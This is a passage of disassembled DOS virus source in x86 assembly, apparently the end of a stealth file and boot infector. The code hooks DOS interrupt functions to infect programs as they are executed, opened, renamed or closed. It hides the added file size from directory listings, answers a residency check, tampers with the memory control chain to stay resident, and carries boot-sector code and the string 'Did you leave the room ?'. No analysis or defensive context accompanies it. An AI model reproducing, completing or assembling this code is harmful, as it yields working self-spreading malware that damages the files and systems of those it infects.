loc_131:
|
|
clc ; Clear carry flag
|
|
jmp short loc_130
|
|
sub_29 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_30 proc near
|
|
push di
|
|
lodsb ; String [si] to al
|
|
mov cl,al
|
|
mov ax,si
|
|
add ax,cx
|
|
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
|
|
mov si,ax
|
|
pop di
|
|
retn
|
|
sub_30 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_31 proc near
|
|
push dx
|
|
mov ax,es:[bx+2]
|
|
xor dx,dx ; Zero register
|
|
div word ptr cs:data_41e ; ax,dxrem=dx:ax/data
|
|
mov ax,es:[bx]
|
|
and al,1Fh
|
|
cmp al,dl
|
|
stc ; Set carry flag
|
|
jz loc_132 ; Jump if zero
|
|
mov ax,es:[bx]
|
|
and ax,0FFE0h
|
|
or al,dl
|
|
clc ; Clear carry flag
|
|
loc_132:
|
|
pop dx
|
|
retn
|
|
sub_31 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_32 proc near
|
|
sub word ptr es:[bx],0DD8h
|
|
sbb word ptr es:[bx+2],0
|
|
jnc loc_ret_133 ; Jump if carry=0
|
|
add word ptr es:[bx],0DD8h
|
|
adc word ptr es:[bx+2],0
|
|
|
|
loc_ret_133:
|
|
retn
|
|
sub_32 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_33 proc near
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push si
|
|
push di
|
|
push bp
|
|
push ds
|
|
push es
|
|
call sub_27
|
|
mov ax,4300h
|
|
call sub_25
|
|
mov word ptr cs:[0C4Ch],cx
|
|
mov ax,4301h
|
|
xor cx,cx ; Zero register
|
|
call sub_25
|
|
jc loc_135 ; Jump if carry Set
|
|
mov ax,3D02h
|
|
call sub_25
|
|
jc loc_134 ; Jump if carry Set
|
|
push dx
|
|
push ds
|
|
push cs
|
|
pop ds
|
|
push cs
|
|
pop es
|
|
mov ds:data_107e,ax
|
|
call sub_26
|
|
mov ah,3Eh ; '>'
|
|
call sub_24
|
|
pop ds
|
|
pop dx
|
|
loc_134:
|
|
mov ax,4301h
|
|
mov cx,20h
|
|
call sub_25
|
|
loc_135:
|
|
call sub_28
|
|
pop es
|
|
pop ds
|
|
pop bp
|
|
pop di
|
|
pop si
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
retn
|
|
sub_33 endp
|
|
|
|
;* No entry point to code
|
|
pushf ; Push flags
|
|
sti ; Enable interrupts
|
|
cmp ah,11h
|
|
je loc_136 ; Jump if equal
|
|
cmp ah,12h
|
|
jne loc_139 ; Jump if not equal
|
|
loc_136:
|
|
jmp short $+2 ; delay for I/O
|
|
push bx
|
|
push es
|
|
push ax
|
|
mov ah,2Fh ; '/'
|
|
call sub_25
|
|
pop ax
|
|
call sub_25
|
|
cmp al,0FFh
|
|
je loc_138 ; Jump if equal
|
|
push ax
|
|
cmp byte ptr es:[bx],0FFh
|
|
jne loc_137 ; Jump if not equal
|
|
add bx,7
|
|
loc_137:
|
|
add bx,17h
|
|
call sub_31
|
|
pop ax
|
|
jnc loc_138 ; Jump if carry=0
|
|
add bx,6
|
|
call sub_32
|
|
loc_138:
|
|
pop es
|
|
pop bx
|
|
popf ; Pop flags
|
|
iret ; Interrupt return
|
|
loc_139:
|
|
cmp ah,4Eh ; 'N'
|
|
je loc_140 ; Jump if equal
|
|
cmp ah,4Fh ; 'O'
|
|
jne loc_143 ; Jump if not equal
|
|
loc_140:
|
|
push bx
|
|
push es
|
|
push ax
|
|
mov ah,2Fh ; '/'
|
|
call sub_25
|
|
pop ax
|
|
call sub_25
|
|
jc loc_142 ; Jump if carry Set
|
|
push ax
|
|
add bx,16h
|
|
call sub_31
|
|
pop ax
|
|
jnc loc_141 ; Jump if carry=0
|
|
add bx,4
|
|
call sub_32
|
|
loc_141:
|
|
pop es
|
|
pop bx
|
|
popf ; Pop flags
|
|
clc ; Clear carry flag
|
|
retf 2 ; Return far
|
|
loc_142:
|
|
pop es
|
|
pop bx
|
|
popf ; Pop flags
|
|
stc ; Set carry flag
|
|
retf 2 ; Return far
|
|
loc_143:
|
|
cmp ax,4B53h
|
|
jne loc_144 ; Jump if not equal
|
|
mov ax,454Bh
|
|
popf ; Pop flags
|
|
iret ; Interrupt return
|
|
loc_144:
|
|
cmp ah,4Ch ; 'L'
|
|
jne loc_145 ; Jump if not equal
|
|
mov byte ptr cs:[0C6Ah],0
|
|
loc_145:
|
|
cld ; Clear direction
|
|
push dx
|
|
cmp ax,4B00h
|
|
jne loc_149 ; Jump if not equal
|
|
jmp short loc_148
|
|
;* No entry point to code
|
|
push ax
|
|
push bx
|
|
push ds
|
|
push es
|
|
mov ah,52h ; 'R'
|
|
call sub_25
|
|
mov ax,es:[bx-2]
|
|
loc_146:
|
|
mov ds,ax
|
|
add ax,ds:data_19e
|
|
inc ax
|
|
cmp byte ptr ds:data_18e,5Ah ; 'Z'
|
|
jne loc_146 ; Jump if not equal
|
|
mov bx,cs
|
|
cmp ax,bx
|
|
jne loc_147 ; Jump if not equal
|
|
mov byte ptr ds:data_18e,4Dh ; 'M'
|
|
xor ax,ax ; Zero register
|
|
mov ds,ax
|
|
add word ptr ds:main_ram_size_,4
|
|
loc_147:
|
|
mov byte ptr cs:[0CEBh],39h ; '9'
|
|
pop es
|
|
pop ds
|
|
pop bx
|
|
pop ax
|
|
loc_148:
|
|
jmp short loc_153
|
|
loc_149:
|
|
cmp ah,3Dh ; '='
|
|
je loc_153 ; Jump if equal
|
|
cmp ah,56h ; 'V'
|
|
je loc_153 ; Jump if equal
|
|
cmp ax,6C00h
|
|
jne loc_150 ; Jump if not equal
|
|
test dl,12h
|
|
mov dx,si
|
|
jz loc_153 ; Jump if zero
|
|
jmp short loc_154
|
|
loc_150:
|
|
cmp ah,3Ch ; '<'
|
|
je loc_154 ; Jump if equal
|
|
cmp ah,5Bh ; '['
|
|
je loc_154 ; Jump if equal
|
|
cmp ah,3Eh ; '>'
|
|
jne loc_152 ; Jump if not equal
|
|
cmp bx,cs:data_113e
|
|
jne loc_152 ; Jump if not equal
|
|
or bx,bx ; Zero ?
|
|
jz loc_152 ; Jump if zero
|
|
call sub_25
|
|
jc loc_155 ; Jump if carry Set
|
|
push ds
|
|
push cs
|
|
pop ds
|
|
mov dx,0F69h
|
|
call sub_33
|
|
mov word ptr ds:data_113e,0
|
|
pop ds
|
|
loc_151:
|
|
pop dx
|
|
popf ; Pop flags
|
|
clc ; Clear carry flag
|
|
retf 2 ; Return far
|
|
loc_152:
|
|
pop dx
|
|
popf ; Pop flags
|
|
jmp dword ptr cs:[0DE8h]
|
|
loc_153:
|
|
call sub_29
|
|
jc loc_152 ; Jump if carry Set
|
|
call sub_33
|
|
jmp short loc_152
|
|
loc_154:
|
|
cmp word ptr cs:data_113e,0
|
|
jne loc_152 ; Jump if not equal
|
|
call sub_29
|
|
jc loc_152 ; Jump if carry Set
|
|
mov word ptr cs:[0D9Dh],dx
|
|
pop dx
|
|
push dx
|
|
call sub_25
|
|
mov dx,705Ah
|
|
jnc loc_156 ; Jump if carry=0
|
|
loc_155:
|
|
pop dx
|
|
popf ; Pop flags
|
|
stc ; Set carry flag
|
|
retf 2 ; Return far
|
|
loc_156:
|
|
push cx
|
|
push si
|
|
push di
|
|
push es
|
|
xchg si,dx
|
|
mov di,data_113e
|
|
push cs
|
|
pop es
|
|
stosw ; Store ax to es:[di]
|
|
mov cx,4Bh
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
pop es
|
|
pop di
|
|
pop si
|
|
pop cx
|
|
jmp short loc_151
|
|
db 'Did you leave the room ?'
|
|
db 0E9h, 04h
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_34 proc near
|
|
cli ; Disable interrupts
|
|
xor ax,ax ; Zero register
|
|
mov ss,ax
|
|
mov sp,7C00h
|
|
mov si,sp
|
|
push ax
|
|
pop es
|
|
push ax
|
|
pop ds
|
|
sti ; Enable interrupts
|
|
cld ; Clear direction
|
|
mov di,data_13e
|
|
mov cx,100h
|
|
repne movsw ; Rep zf=0+cx >0 Mov [si] to es:[di]
|
|
;* jmp far ptr loc_2 ;*
|
|
sub_34 endp
|
|
|
|
db 0EAh
|
|
dw 61Dh, 0 ; Fixup - byte match
|
|
;* No entry point to code
|
|
mov si,data_14e
|
|
mov bl,4
|
|
cmp byte ptr [si],80h
|
|
;* je loc_157 ;*Jump if equal
|
|
db 74h, 0Eh ; Fixup - byte match
|
|
add byte ptr [bx+si],0
|
|
|
|
seg_a ends
|
|
|
|
|
|
|
|
end start
|